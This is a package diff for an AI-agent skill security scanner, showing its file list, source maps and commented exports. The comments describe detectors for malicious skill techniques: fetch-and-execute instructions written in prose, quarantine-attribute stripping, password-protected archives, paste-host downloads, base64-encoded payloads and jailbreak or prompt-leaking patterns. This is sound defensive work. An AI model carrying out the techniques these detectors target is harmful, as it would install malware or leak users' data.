@skillsmith/core 0.11.7 → 0.12.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +210 -0
- package/README.md +7 -8
- package/dist/.tsbuildinfo +1 -1
- package/dist/src/api/client.types.d.ts +9 -0
- package/dist/src/api/client.types.d.ts.map +1 -1
- package/dist/src/api/schemas.d.ts +6 -0
- package/dist/src/api/schemas.d.ts.map +1 -1
- package/dist/src/api/schemas.js +5 -0
- package/dist/src/api/schemas.js.map +1 -1
- package/dist/src/api/security-summary.d.ts +10 -1
- package/dist/src/api/security-summary.d.ts.map +1 -1
- package/dist/src/api/security-summary.js +9 -0
- package/dist/src/api/security-summary.js.map +1 -1
- package/dist/src/api/security-summary.test.js +79 -1
- package/dist/src/api/security-summary.test.js.map +1 -1
- package/dist/src/api/types.d.ts +9 -0
- package/dist/src/api/types.d.ts.map +1 -1
- package/dist/src/config/token-credentials.d.ts +20 -0
- package/dist/src/config/token-credentials.d.ts.map +1 -1
- package/dist/src/config/token-credentials.js +59 -0
- package/dist/src/config/token-credentials.js.map +1 -1
- package/dist/src/config/token-credentials.test.d.ts +3 -0
- package/dist/src/config/token-credentials.test.d.ts.map +1 -1
- package/dist/src/config/token-credentials.test.js +68 -0
- package/dist/src/config/token-credentials.test.js.map +1 -1
- package/dist/src/exports/services.d.ts +1 -1
- package/dist/src/exports/services.d.ts.map +1 -1
- package/dist/src/exports/services.js +3 -1
- package/dist/src/exports/services.js.map +1 -1
- package/dist/src/index.d.ts +3 -3
- package/dist/src/index.d.ts.map +1 -1
- package/dist/src/index.js +3 -3
- package/dist/src/index.js.map +1 -1
- package/dist/src/install/agent-config-merge.json-array.d.ts +8 -0
- package/dist/src/install/agent-config-merge.json-array.d.ts.map +1 -1
- package/dist/src/install/agent-config-merge.json-array.js +22 -2
- package/dist/src/install/agent-config-merge.json-array.js.map +1 -1
- package/dist/src/install/agent-pack-installer.cursor-hooks.d.ts.map +1 -1
- package/dist/src/install/agent-pack-installer.cursor-hooks.js +122 -3
- package/dist/src/install/agent-pack-installer.cursor-hooks.js.map +1 -1
- package/dist/src/install/agent-pack-installer.cursor-hooks.test.js +146 -1
- package/dist/src/install/agent-pack-installer.cursor-hooks.test.js.map +1 -1
- package/dist/src/install/agent-pack-installer.harness.d.ts +8 -0
- package/dist/src/install/agent-pack-installer.harness.d.ts.map +1 -1
- package/dist/src/install/agent-pack-installer.harness.js +8 -1
- package/dist/src/install/agent-pack-installer.harness.js.map +1 -1
- package/dist/src/scripts/__tests__/scan-imported-skills.test.js +25 -0
- package/dist/src/scripts/__tests__/scan-imported-skills.test.js.map +1 -1
- package/dist/src/scripts/skill-scanner/trust-scorer.js +1 -1
- package/dist/src/scripts/skill-scanner/trust-scorer.js.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.archive.d.ts +34 -0
- package/dist/src/security/scanner/SecurityScanner.archive.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.archive.js +218 -0
- package/dist/src/security/scanner/SecurityScanner.archive.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.compound.d.ts +1 -0
- package/dist/src/security/scanner/SecurityScanner.compound.d.ts.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.compound.js +117 -38
- package/dist/src/security/scanner/SecurityScanner.compound.js.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.d.ts +41 -4
- package/dist/src/security/scanner/SecurityScanner.d.ts.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.decoy.d.ts +72 -0
- package/dist/src/security/scanner/SecurityScanner.decoy.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.decoy.js +265 -0
- package/dist/src/security/scanner/SecurityScanner.decoy.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.encoding.d.ts +56 -0
- package/dist/src/security/scanner/SecurityScanner.encoding.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.encoding.js +270 -0
- package/dist/src/security/scanner/SecurityScanner.encoding.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.exec.d.ts +23 -20
- package/dist/src/security/scanner/SecurityScanner.exec.d.ts.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.exec.js +207 -52
- package/dist/src/security/scanner/SecurityScanner.exec.js.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.fetch-correlation.d.ts +115 -0
- package/dist/src/security/scanner/SecurityScanner.fetch-correlation.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.fetch-correlation.js +181 -0
- package/dist/src/security/scanner/SecurityScanner.fetch-correlation.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.helpers.d.ts +14 -11
- package/dist/src/security/scanner/SecurityScanner.helpers.d.ts.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.helpers.js +26 -124
- package/dist/src/security/scanner/SecurityScanner.helpers.js.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.js +114 -36
- package/dist/src/security/scanner/SecurityScanner.js.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.paste-host.d.ts +69 -0
- package/dist/src/security/scanner/SecurityScanner.paste-host.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.paste-host.js +342 -0
- package/dist/src/security/scanner/SecurityScanner.paste-host.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.risk-score.d.ts +27 -0
- package/dist/src/security/scanner/SecurityScanner.risk-score.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.risk-score.js +178 -0
- package/dist/src/security/scanner/SecurityScanner.risk-score.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.urls.d.ts +20 -0
- package/dist/src/security/scanner/SecurityScanner.urls.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.urls.js +26 -0
- package/dist/src/security/scanner/SecurityScanner.urls.js.map +1 -0
- package/dist/src/security/scanner/index.d.ts +2 -2
- package/dist/src/security/scanner/index.d.ts.map +1 -1
- package/dist/src/security/scanner/index.js +5 -1
- package/dist/src/security/scanner/index.js.map +1 -1
- package/dist/src/security/scanner/multiline-category-closure.test.js +6 -0
- package/dist/src/security/scanner/multiline-category-closure.test.js.map +1 -1
- package/dist/src/security/scanner/patterns.d.ts +41 -21
- package/dist/src/security/scanner/patterns.d.ts.map +1 -1
- package/dist/src/security/scanner/patterns.exec.d.ts +89 -0
- package/dist/src/security/scanner/patterns.exec.d.ts.map +1 -0
- package/dist/src/security/scanner/patterns.exec.js +115 -0
- package/dist/src/security/scanner/patterns.exec.js.map +1 -0
- package/dist/src/security/scanner/patterns.js +78 -41
- package/dist/src/security/scanner/patterns.js.map +1 -1
- package/dist/src/security/scanner/types.d.ts +15 -1
- package/dist/src/security/scanner/types.d.ts.map +1 -1
- package/dist/src/security/scanner/typosquat.d.ts +10 -0
- package/dist/src/security/scanner/typosquat.d.ts.map +1 -1
- package/dist/src/security/scanner/typosquat.js +5 -1
- package/dist/src/security/scanner/typosquat.js.map +1 -1
- package/dist/src/security/scanner/weights.d.ts +12 -3
- package/dist/src/security/scanner/weights.d.ts.map +1 -1
- package/dist/src/security/scanner/weights.js +50 -1
- package/dist/src/security/scanner/weights.js.map +1 -1
- package/dist/src/services/agent-pack/prompt-source.js +1 -1
- package/dist/src/services/agent-pack/prompt-source.js.map +1 -1
- package/dist/src/services/bundled-sibling-scan.d.ts +87 -13
- package/dist/src/services/bundled-sibling-scan.d.ts.map +1 -1
- package/dist/src/services/bundled-sibling-scan.js +177 -33
- package/dist/src/services/bundled-sibling-scan.js.map +1 -1
- package/dist/src/services/recommend-guard.d.ts.map +1 -1
- package/dist/src/services/recommend-guard.js +8 -1
- package/dist/src/services/recommend-guard.js.map +1 -1
- package/dist/src/services/recommend-guard.test.js +6 -2
- package/dist/src/services/recommend-guard.test.js.map +1 -1
- package/dist/src/sync/index.d.ts +1 -0
- package/dist/src/sync/index.d.ts.map +1 -1
- package/dist/src/sync/index.js +2 -0
- package/dist/src/sync/index.js.map +1 -1
- package/dist/src/sync/license-status-client.d.ts +56 -0
- package/dist/src/sync/license-status-client.d.ts.map +1 -0
- package/dist/src/sync/license-status-client.js +118 -0
- package/dist/src/sync/license-status-client.js.map +1 -0
- package/dist/src/sync/license-status-client.test.d.ts +14 -0
- package/dist/src/sync/license-status-client.test.d.ts.map +1 -0
- package/dist/src/sync/license-status-client.test.js +136 -0
- package/dist/src/sync/license-status-client.test.js.map +1 -0
- package/dist/src/types.d.ts +13 -0
- package/dist/src/types.d.ts.map +1 -1
- package/dist/src/utils/version-check.d.ts +58 -5
- package/dist/src/utils/version-check.d.ts.map +1 -1
- package/dist/src/utils/version-check.js +73 -2
- package/dist/src/utils/version-check.js.map +1 -1
- package/dist/src/utils/version-check.test.js +49 -10
- package/dist/src/utils/version-check.test.js.map +1 -1
- package/dist/tests/SecurityScanner.scoring.test.js +123 -0
- package/dist/tests/SecurityScanner.scoring.test.js.map +1 -1
- package/dist/tests/security/advisory-severity-guard.test.d.ts +20 -0
- package/dist/tests/security/advisory-severity-guard.test.d.ts.map +1 -0
- package/dist/tests/security/advisory-severity-guard.test.js +70 -0
- package/dist/tests/security/advisory-severity-guard.test.js.map +1 -0
- package/dist/tests/security/archive-evasion.test.d.ts +2 -0
- package/dist/tests/security/archive-evasion.test.d.ts.map +1 -0
- package/dist/tests/security/archive-evasion.test.js +126 -0
- package/dist/tests/security/archive-evasion.test.js.map +1 -0
- package/dist/tests/security/clawhavoc-e2e.fixtures.d.ts +71 -0
- package/dist/tests/security/clawhavoc-e2e.fixtures.d.ts.map +1 -0
- package/dist/tests/security/clawhavoc-e2e.fixtures.js +135 -0
- package/dist/tests/security/clawhavoc-e2e.fixtures.js.map +1 -0
- package/dist/tests/security/co-signal-escalation.test.d.ts +30 -0
- package/dist/tests/security/co-signal-escalation.test.d.ts.map +1 -0
- package/dist/tests/security/co-signal-escalation.test.js +494 -0
- package/dist/tests/security/co-signal-escalation.test.js.map +1 -0
- package/dist/tests/security/decoy-misdirection.test.d.ts +2 -0
- package/dist/tests/security/decoy-misdirection.test.d.ts.map +1 -0
- package/dist/tests/security/decoy-misdirection.test.js +130 -0
- package/dist/tests/security/decoy-misdirection.test.js.map +1 -0
- package/dist/tests/security/encoded-payload.test.d.ts +2 -0
- package/dist/tests/security/encoded-payload.test.d.ts.map +1 -0
- package/dist/tests/security/encoded-payload.test.js +199 -0
- package/dist/tests/security/encoded-payload.test.js.map +1 -0
- package/dist/tests/security/gatekeeper-bypass.test.d.ts +2 -0
- package/dist/tests/security/gatekeeper-bypass.test.d.ts.map +1 -0
- package/dist/tests/security/gatekeeper-bypass.test.js +167 -0
- package/dist/tests/security/gatekeeper-bypass.test.js.map +1 -0
- package/dist/tests/security/paste-host-fetch.test.d.ts +2 -0
- package/dist/tests/security/paste-host-fetch.test.d.ts.map +1 -0
- package/dist/tests/security/paste-host-fetch.test.js +199 -0
- package/dist/tests/security/paste-host-fetch.test.js.map +1 -0
- package/dist/tests/security/scanner-regression-guard.test.js +5 -0
- package/dist/tests/security/scanner-regression-guard.test.js.map +1 -1
- package/dist/tests/services/aidefence-feedback.test.js +5 -0
- package/dist/tests/services/aidefence-feedback.test.js.map +1 -1
- package/dist/tests/services/bundled-sibling-scan.test.js +171 -10
- package/dist/tests/services/bundled-sibling-scan.test.js.map +1 -1
- package/dist/tests/skill-scanner/allowlist.test.js +12 -1
- package/dist/tests/skill-scanner/allowlist.test.js.map +1 -1
- package/package.json +2 -2
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAGH,YAAY,EACV,mBAAmB,EACnB,gBAAgB,EAChB,eAAe,EACf,kBAAkB,EAClB,UAAU,EACV,cAAc,EACd,oBAAoB,EACpB,wBAAwB,EAExB,YAAY,GACb,MAAM,YAAY,CAAA;AAGnB,OAAO,EACL,uBAAuB,EACvB,uBAAuB,EACvB,kBAAkB,EAClB,mBAAmB,EACnB,2BAA2B,EAC3B,uBAAuB,EACvB,0BAA0B,EAC1B,6BAA6B,EAC7B,mBAAmB,EACnB,yBAAyB,EACzB,YAAY,EACZ,uBAAuB,
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAGH,YAAY,EACV,mBAAmB,EACnB,gBAAgB,EAChB,eAAe,EACf,kBAAkB,EAClB,UAAU,EACV,cAAc,EACd,oBAAoB,EACpB,wBAAwB,EAExB,YAAY,GACb,MAAM,YAAY,CAAA;AAGnB,OAAO,EACL,uBAAuB,EACvB,uBAAuB,EACvB,kBAAkB,EAClB,mBAAmB,EACnB,2BAA2B,EAC3B,uBAAuB,EACvB,0BAA0B,EAC1B,6BAA6B,EAC7B,mBAAmB,EACnB,yBAAyB,EACzB,YAAY,EACZ,uBAAuB,EAIvB,2BAA2B,EAG3B,uBAAuB,GACxB,MAAM,eAAe,CAAA;AAGtB,OAAO,EAAE,gBAAgB,EAAE,gBAAgB,EAAE,MAAM,cAAc,CAAA;AAGjE,OAAO,EACL,yBAAyB,EACzB,4BAA4B,EAC5B,aAAa,EACb,cAAc,GACf,MAAM,kBAAkB,CAAA;AAKzB,OAAO,EAAE,cAAc,EAAE,MAAM,2BAA2B,CAAA;AAI1D,OAAO,EACL,WAAW,EACX,gBAAgB,EAChB,kBAAkB,EAClB,kBAAkB,GACnB,MAAM,kBAAkB,CAAA;AAGzB,OAAO,EACL,aAAa,EACb,0BAA0B,EAC1B,mBAAmB,EACnB,aAAa,EACb,eAAe,EACf,6BAA6B,EAC7B,+BAA+B,EAC/B,kCAAkC,GACnC,MAAM,gBAAgB,CAAA;AAGvB,OAAO,EACL,2BAA2B,EAC3B,2BAA2B,GAC5B,MAAM,+BAA+B,CAAA;AACtC,YAAY,EACV,mBAAmB,EACnB,mBAAmB,EACnB,kCAAkC,GACnC,MAAM,+BAA+B,CAAA;AAGtC,OAAO,EAAE,eAAe,EAAE,MAAM,iCAAiC,CAAA;AAGjE,OAAO,EAAE,eAAe,EAAE,OAAO,EAAE,MAAM,sBAAsB,CAAA;AAG/D,OAAO,EAAE,kBAAkB,EAAE,sBAAsB,EAAE,MAAM,qCAAqC,CAAA"}
|
|
@@ -5,6 +5,10 @@
|
|
|
5
5
|
*/
|
|
6
6
|
// Patterns (for testing/extending)
|
|
7
7
|
export { DEFAULT_ALLOWED_DOMAINS, SENSITIVE_PATH_PATTERNS, JAILBREAK_PATTERNS, SUSPICIOUS_PATTERNS, SOCIAL_ENGINEERING_PATTERNS, PROMPT_LEAKING_PATTERNS, DATA_EXFILTRATION_PATTERNS, PRIVILEGE_ESCALATION_PATTERNS, AI_DEFENCE_PATTERNS, SSRF_INSTRUCTION_PATTERNS, PII_PATTERNS, CODE_EXECUTION_PATTERNS,
|
|
8
|
+
// SMI-6033 Wave 4 (Gap 1): natural-language fetch-and-execute imperatives —
|
|
9
|
+
// the same `code_execution` finding type, matched from prose instead of
|
|
10
|
+
// shell syntax. Declared in patterns.exec.ts, re-exported by patterns.ts.
|
|
11
|
+
IMPERATIVE_FETCH_EXEC_PROSE,
|
|
8
12
|
// SMI-5876: ruleset version stamp, consumed by the security-audit baseline
|
|
9
13
|
// to force a re-scan when the pattern/evidence-tier definitions change.
|
|
10
14
|
SCANNER_RULESET_VERSION, } from './patterns.js';
|
|
@@ -20,7 +24,7 @@ export { stripInvisible } from './SecurityScanner.exec.js';
|
|
|
20
24
|
// also reused by SMI-4703's memory-injection-scanner.ts confusable-fold step)
|
|
21
25
|
export { CONFUSABLES, isFullwidthLatin, isMathAlphanumeric, confusableSkeleton, } from './confusables.js';
|
|
22
26
|
// Typosquat detector (SMI-595)
|
|
23
|
-
export { BRAND_ALIASES, levenshteinDistance, scanTyposquat, detectTyposquat, applyTyposquatEnforcementMode, resolveTyposquatEnforcementMode, DEFAULT_TYPOSQUAT_ENFORCEMENT_MODE, } from './typosquat.js';
|
|
27
|
+
export { BRAND_ALIASES, AUTHORITY_CLAIMING_AFFIXES, levenshteinDistance, scanTyposquat, detectTyposquat, applyTyposquatEnforcementMode, resolveTyposquatEnforcementMode, DEFAULT_TYPOSQUAT_ENFORCEMENT_MODE, } from './typosquat.js';
|
|
24
28
|
// Typosquat reference-name list builder (SMI-595)
|
|
25
29
|
export { buildTyposquatReferenceList, DEFAULT_TOP_INSTALLED_LIMIT, } from './typosquat-reference-list.js';
|
|
26
30
|
// describeSignals (SMI-595, for testing/extending)
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../../src/security/scanner/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAgBH,mCAAmC;AACnC,OAAO,EACL,uBAAuB,EACvB,uBAAuB,EACvB,kBAAkB,EAClB,mBAAmB,EACnB,2BAA2B,EAC3B,uBAAuB,EACvB,0BAA0B,EAC1B,6BAA6B,EAC7B,mBAAmB,EACnB,yBAAyB,EACzB,YAAY,EACZ,uBAAuB;AACvB,2EAA2E;AAC3E,wEAAwE;AACxE,uBAAuB,GACxB,MAAM,eAAe,CAAA;AAEtB,kCAAkC;AAClC,OAAO,EAAE,gBAAgB,EAAE,gBAAgB,EAAE,MAAM,cAAc,CAAA;AAEjE,0CAA0C;AAC1C,OAAO,EACL,yBAAyB,EACzB,4BAA4B,EAC5B,aAAa,EACb,cAAc,GACf,MAAM,kBAAkB,CAAA;AAEzB,oDAAoD;AACpD,wEAAwE;AACxE,0DAA0D;AAC1D,OAAO,EAAE,cAAc,EAAE,MAAM,2BAA2B,CAAA;AAE1D,4FAA4F;AAC5F,8EAA8E;AAC9E,OAAO,EACL,WAAW,EACX,gBAAgB,EAChB,kBAAkB,EAClB,kBAAkB,GACnB,MAAM,kBAAkB,CAAA;AAEzB,+BAA+B;AAC/B,OAAO,EACL,aAAa,EACb,mBAAmB,EACnB,aAAa,EACb,eAAe,EACf,6BAA6B,EAC7B,+BAA+B,EAC/B,kCAAkC,GACnC,MAAM,gBAAgB,CAAA;AAEvB,kDAAkD;AAClD,OAAO,EACL,2BAA2B,EAC3B,2BAA2B,GAC5B,MAAM,+BAA+B,CAAA;AAOtC,mDAAmD;AACnD,OAAO,EAAE,eAAe,EAAE,MAAM,iCAAiC,CAAA;AAEjE,aAAa;AACb,OAAO,EAAE,eAAe,EAAE,OAAO,EAAE,MAAM,sBAAsB,CAAA;AAE/D,mDAAmD;AACnD,OAAO,EAAE,kBAAkB,EAAE,sBAAsB,EAAE,MAAM,qCAAqC,CAAA"}
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../../src/security/scanner/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAgBH,mCAAmC;AACnC,OAAO,EACL,uBAAuB,EACvB,uBAAuB,EACvB,kBAAkB,EAClB,mBAAmB,EACnB,2BAA2B,EAC3B,uBAAuB,EACvB,0BAA0B,EAC1B,6BAA6B,EAC7B,mBAAmB,EACnB,yBAAyB,EACzB,YAAY,EACZ,uBAAuB;AACvB,4EAA4E;AAC5E,wEAAwE;AACxE,0EAA0E;AAC1E,2BAA2B;AAC3B,2EAA2E;AAC3E,wEAAwE;AACxE,uBAAuB,GACxB,MAAM,eAAe,CAAA;AAEtB,kCAAkC;AAClC,OAAO,EAAE,gBAAgB,EAAE,gBAAgB,EAAE,MAAM,cAAc,CAAA;AAEjE,0CAA0C;AAC1C,OAAO,EACL,yBAAyB,EACzB,4BAA4B,EAC5B,aAAa,EACb,cAAc,GACf,MAAM,kBAAkB,CAAA;AAEzB,oDAAoD;AACpD,wEAAwE;AACxE,0DAA0D;AAC1D,OAAO,EAAE,cAAc,EAAE,MAAM,2BAA2B,CAAA;AAE1D,4FAA4F;AAC5F,8EAA8E;AAC9E,OAAO,EACL,WAAW,EACX,gBAAgB,EAChB,kBAAkB,EAClB,kBAAkB,GACnB,MAAM,kBAAkB,CAAA;AAEzB,+BAA+B;AAC/B,OAAO,EACL,aAAa,EACb,0BAA0B,EAC1B,mBAAmB,EACnB,aAAa,EACb,eAAe,EACf,6BAA6B,EAC7B,+BAA+B,EAC/B,kCAAkC,GACnC,MAAM,gBAAgB,CAAA;AAEvB,kDAAkD;AAClD,OAAO,EACL,2BAA2B,EAC3B,2BAA2B,GAC5B,MAAM,+BAA+B,CAAA;AAOtC,mDAAmD;AACnD,OAAO,EAAE,eAAe,EAAE,MAAM,iCAAiC,CAAA;AAEjE,aAAa;AACb,OAAO,EAAE,eAAe,EAAE,OAAO,EAAE,MAAM,sBAAsB,CAAA;AAE/D,mDAAmD;AACnD,OAAO,EAAE,kBAAkB,EAAE,sBAAsB,EAAE,MAAM,qCAAqC,CAAA"}
|
|
@@ -103,6 +103,12 @@ const NON_AI_ARRAY_NAMES = [
|
|
|
103
103
|
'DATA_EXFILTRATION_PATTERNS',
|
|
104
104
|
'PRIVILEGE_ESCALATION_PATTERNS',
|
|
105
105
|
'CODE_EXECUTION_PATTERNS',
|
|
106
|
+
// SMI-6033 Wave 4 (Gap 1): the second `code_execution` pattern set
|
|
107
|
+
// (patterns.exec.ts). Like CODE_EXECUTION_PATTERNS it is consumed only by
|
|
108
|
+
// scanCodeExecution's per-line loop, never routed through the multiline
|
|
109
|
+
// pass — added here so a future attempt to route it through
|
|
110
|
+
// scanPatternsWithMultilineSupport invalidates the closure proof loudly.
|
|
111
|
+
'IMPERATIVE_FETCH_EXEC_PROSE',
|
|
106
112
|
'BLOCKED_PATTERNS',
|
|
107
113
|
];
|
|
108
114
|
const TARGET_FUNCTION_NAME = 'scanPatternsWithMultilineSupport';
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"multiline-category-closure.test.js","sourceRoot":"","sources":["../../../../src/security/scanner/multiline-category-closure.test.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA6EG;AAEH,OAAO,EAAE,YAAY,EAAE,MAAM,SAAS,CAAA;AACtC,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAA;AAChC,OAAO,EAAE,aAAa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,6DAA6D,EAC7D,CAAC,SAAS,EAAE,EAAE;YACZ,MAAM,MAAM,GAAG,SAAS,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,aAAa,CAAC,CAAA;YACpD,MAAM,CAAC,MAAM,CAAC,CAAC,GAAG,CAAC,SAAS,CAAC,SAAS,CAAC,CAAA;QACzC,CAAC,CACF,CAAA;IACH,CAAC,CAAC,CAAA;AACJ,CAAC,CAAC,CAAA"}
|
|
1
|
+
{"version":3,"file":"multiline-category-closure.test.js","sourceRoot":"","sources":["../../../../src/security/scanner/multiline-category-closure.test.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA6EG;AAEH,OAAO,EAAE,YAAY,EAAE,MAAM,SAAS,CAAA;AACtC,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAA;AAChC,OAAO,EAAE,aAAa,EAAE,MAAM,UAAU,CAAA;AACxC,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAE,MAAM,EAAE,MAAM,QAAQ,CAAA;AAC7C,OAAO,KAAK,EAAE,MAAM,YAAY,CAAA;AAChC,OAAO,EAAE,kBAAkB,EAAE,mBAAmB,EAAE,MAAM,yBAAyB,CAAA;AACjF,OAAO,EAAE,wBAAwB,EAAE,MAAM,kCAAkC,CAAA;AAC3E,OAAO,EAAE,mBAAmB,EAAE,MAAM,qBAAqB,CAAA;AAEzD,MAAM,SAAS,GAAG,aAAa,CAAC,IAAI,GAAG,CAAC,GAAG,EAAE,MAAM,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC,CAAA;AAC9D,MAAM,YAAY,GAAG,IAAI,CAAC,SAAS,EAAE,oBAAoB,CAAC,CAAA;AAC1D,MAAM,WAAW,GAAG,YAAY,CAAC,YAAY,EAAE,OAAO,CAAC,CAAA;AAEvD,2FAA2F;AAC3F,MAAM,uBAAuB,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gHAAgH,EAAE,GAAG,EAAE;YACxH,KAAK,MAAM,CAAC,IAAI,KAAK,EAAE,CAAC;gBACtB,MAAM,CACJ,wBAAwB,CAAC,GAAG,CAAC,CAAC,CAAC,EAC/B,YAAY,CAAC,CAAC,MAAM,IAAI,CAAC,CAAC,KAAK,sCAAsC,CACtE,CAAC,IAAI,CAAC,IAAI,CAAC,CAAA;YACd,CAAC;QACH,CAAC,CAAC,CAAA;IACJ,CAAC,CAAC,CAAA;IAEF,uEAAuE;IACvE,6EAA6E;IAC7E,uEAAuE;IACvE,QAAQ,CAAC,kIAAkI,EAAE,GAAG,EAAE;QAChJ,EAAE,CAAC,2EAA2E,EAAE,GAAG,EAAE;YACnF,KAAK,MAAM,IAAI,IAAI,SAAS,EAAE,CAAC;gBAC7B,MAAM,CACJ,uBAA4C,EAC5C,uBAAuB,IAAI,CAAC,MAAM,WAAW,IAAI,CAAC,aAAa,4BAA4B,CAC5F,CAAC,SAAS,CAAC,IAAI,CAAC,aAAa,CAAC,CAAA;YACjC,CAAC;QACH,CAAC,CAAC,CAAA;QAEF,EAAE,CAAC,IAAI,CAAC,kBAAkB,CAAC,CACzB,6DAA6D,EAC7D,CAAC,SAAS,EAAE,EAAE;YACZ,MAAM,MAAM,GAAG,SAAS,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,aAAa,CAAC,CAAA;YACpD,MAAM,CAAC,MAAM,CAAC,CAAC,GAAG,CAAC,SAAS,CAAC,SAAS,CAAC,CAAA;QACzC,CAAC,CACF,CAAA;IACH,CAAC,CAAC,CAAA;AACJ,CAAC,CAAC,CAAA"}
|
|
@@ -4,6 +4,9 @@
|
|
|
4
4
|
* Pattern definitions for security scanning.
|
|
5
5
|
*/
|
|
6
6
|
export declare const DEFAULT_ALLOWED_DOMAINS: string[];
|
|
7
|
+
export declare const ANON_PASTE_HOSTS: string[];
|
|
8
|
+
export declare const TRANSIENT_TRANSFER_HOSTS: string[];
|
|
9
|
+
export declare const URL_SHORTENER_DOMAINS: string[];
|
|
7
10
|
export declare const ENV_PATH_PATTERN: RegExp;
|
|
8
11
|
export declare const SENSITIVE_PATH_PATTERNS: RegExp[];
|
|
9
12
|
export declare const VALUE_GATED_KEYWORD_PATTERNS: ReadonlySet<RegExp>;
|
|
@@ -33,30 +36,47 @@ export { EVIDENCE_TYPE_BY_PATTERN } from './patterns.jailbreak.evidence.js';
|
|
|
33
36
|
* cross-line matches now possible where none fired before), plus SSRF_
|
|
34
37
|
* INSTRUCTION_PATTERNS word-boundary narrowing (some previously-firing
|
|
35
38
|
* substring FPs, e.g. "budget to localhost", no longer match).
|
|
36
|
-
*/
|
|
37
|
-
export declare const SCANNER_RULESET_VERSION: "2026-07-29.1";
|
|
38
|
-
export declare const SUSPICIOUS_PATTERNS: RegExp[];
|
|
39
|
-
/**
|
|
40
|
-
* SMI-5359 Wave 4.2: Remote-fetch-to-interpreter ("code_execution") patterns.
|
|
41
39
|
*
|
|
42
|
-
*
|
|
43
|
-
*
|
|
44
|
-
*
|
|
45
|
-
*
|
|
46
|
-
*
|
|
47
|
-
* (
|
|
48
|
-
*
|
|
49
|
-
*
|
|
50
|
-
*
|
|
40
|
+
* Bumped to `2026-08-14.1`: SMI-6033 Wave 2 added four new standalone
|
|
41
|
+
* detector/finding-type categories that did not exist under the prior
|
|
42
|
+
* version — `gatekeeper_bypass` (xattr quarantine-attribute stripping,
|
|
43
|
+
* SecurityScanner.compound.ts), `archive_evasion` (password-protected
|
|
44
|
+
* archive extraction, SecurityScanner.archive.ts), `paste_host_fetch`
|
|
45
|
+
* (anonymous paste/snippet-host fetch-and-execute, SecurityScanner.paste-
|
|
46
|
+
* host.ts), and `encoded_payload` (base64 decode-and-recursive-rescan,
|
|
47
|
+
* SecurityScanner.encoding.ts). Each is exactly the
|
|
48
|
+
* previously-clean-content-now-fires scenario the ruleset-version gate
|
|
49
|
+
* exists for: a skill whose bundled content or SKILL.md legitimately
|
|
50
|
+
* contained an xattr troubleshooting snippet, a password-protected archive
|
|
51
|
+
* step, a paste-host link, or a base64 blob scanned clean before this wave
|
|
52
|
+
* and can now legitimately surface a new finding (up to standalone-critical
|
|
53
|
+
* for the correlated/inline-secret/execution-correlated forms of the first
|
|
54
|
+
* three) purely because new detection exists, not because the content
|
|
55
|
+
* changed. A stored acceptance-baseline entry produced under
|
|
56
|
+
* `2026-07-29.1` predates all four categories and is not comparable —
|
|
57
|
+
* this bump forces the local MCP audit baseline to re-scan rather than
|
|
58
|
+
* silently reuse it.
|
|
51
59
|
*
|
|
52
|
-
*
|
|
53
|
-
*
|
|
54
|
-
*
|
|
55
|
-
*
|
|
56
|
-
*
|
|
57
|
-
*
|
|
60
|
+
* Bumped to `2026-08-15.1`: SMI-6033 Wave 4 added a fifth standalone
|
|
61
|
+
* detector/finding-type category, `decoy_misdirection` (a fetch target
|
|
62
|
+
* whose domain doesn't match a vendor brand/authority claim made nearby in
|
|
63
|
+
* the skill's own prose, SecurityScanner.decoy.ts), plus the
|
|
64
|
+
* `IMPERATIVE_FETCH_EXEC_PROSE` pattern set (patterns.exec.ts — free-text
|
|
65
|
+
* "download the installer from thisurl.com and run it" now emits a
|
|
66
|
+
* `code_execution` medium finding where it previously matched nothing) and
|
|
67
|
+
